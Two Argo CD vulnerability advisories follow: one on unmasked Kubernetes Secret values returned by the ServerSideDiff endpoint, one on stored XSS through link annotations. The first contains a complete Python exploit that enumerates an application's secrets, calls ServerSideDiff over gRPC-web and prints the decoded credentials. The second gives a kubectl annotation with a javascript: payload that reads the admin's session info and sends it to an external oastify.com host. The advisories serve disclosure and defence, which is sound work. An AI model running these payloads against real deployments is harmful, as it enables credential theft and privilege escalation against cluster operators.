Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.

Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:

// server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), })

A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:

if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) }

The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.

When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:

kubectl apply --server-side --dry-run=server --field-manager=argocd-controller For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.

PoC #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC

Usage: python3 poc.py <host> <token> <app> <project>

Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """

import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict

def encodevarint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out)

def encodestr(field, val): tag = (field << 3) | 2 raw = val.encode() return encodevarint(tag) + encodevarint(len(raw)) + raw

def encodebytes(field, val): tag = (field << 3) | 2 return encodevarint(tag) + encodevarint(len(val)) + val

def encodebool(field, val): tag = (field << 3) | 0 return encodevarint(tag) + encodevarint(1 if val else 0)

def decodevarint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos

def decodefields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decodevarint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decodevarint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decodevarint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields)

-- grpc-web framing --

def grpcframe(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload

def decodegrpcframes(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames

-- http helpers --

def makeconn(host): ctx = ssl.createdefaultcontext() ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)

def restget(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None

def grpcpost(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpcframe(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decodegrpcframes(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response"

-- main --

def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1)

host, token, appname, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = makeconn(host)

# step 1: list managed resources for the app, find secrets print("[] Fetching managed resources for %s/%s ..." % (project, appname)) data, err = restget(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(appname), token) if err: print("[-] Failed: %s" % err); sys.exit(1)

secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live))

if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets))

# step 2: call ServerSideDiff for each secret totalextracted = 0 for sname, sns, stype, livejson in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype}

# copy required annotations from live state for SA tokens if livejson and livejson != "null": try: liveannots = json.loads(livejson).get("metadata", {}).get("annotations", {}) k8sannots = {k: v for k, v in liveannots.items() if k.startswith("kubernetes.io/")} if k8sannots: target["metadata"]["annotations"] = k8sannots except Exception: pass

# for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}

# encode the grpc request lr = b"" lr += encodestr(2, "Secret") # kind lr += encodestr(3, sns) # namespace lr += encodestr(4, sname) # name if livejson: lr += encodestr(6, livejson) # liveState lr += encodebool(12, True) # modified

query = encodestr(1, appname) query += encodestr(3, project) query += encodebytes(4, lr) query += encodestr(5, json.dumps(target))

# reconnect for each call (simple, no pool needed for poc) try: conn = makeconn(host) respdata, err = grpcpost(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue

# parse response respfields = decodefields(respdata) for itembytes in respfields.get(1, []): if not isinstance(itembytes, bytes): continue ifields = decodefields(itembytes)

# field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secretdata = obj.get("data", {}) if not secretdata: continue

# check for real (non-masked) values realkeys = {} for k, v in secretdata.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) realkeys[k] = text

if realkeys: totalextracted += 1 print("\n [] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(realkeys), len(secretdata))) for k in sorted(realkeys): v = realkeys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v))

print("\n[] Done. %d secrets with real values extracted." % totalextracted)

if name == "main": main()

Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/ annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

tsx const parts = (url || '').split('|'); <a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='blank'> {parts[0]} </a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, , /, allow).

Step 1 — Set malicious annotation as developer:

bash kubectl annotate application <app-name> -n argocd \ 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.

Step 2 — Admin opens Summary tab of the annotated application and clicks the link.

Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

javascript // Payload used during testing (Burp Collaborator OOB): fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

json {"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

- Stored XSS — payload persists in the Kubernetes Application resource until manually removed - Privilege escalation — developer role → admin session hijacking via authenticated API calls - Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim - No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP) - Any admin or operator who views the Summary tab of the compromised application is affected

Credits

Discovered and reported by Jan Kahmen (jan@turingpoint.de) — turingpoint.de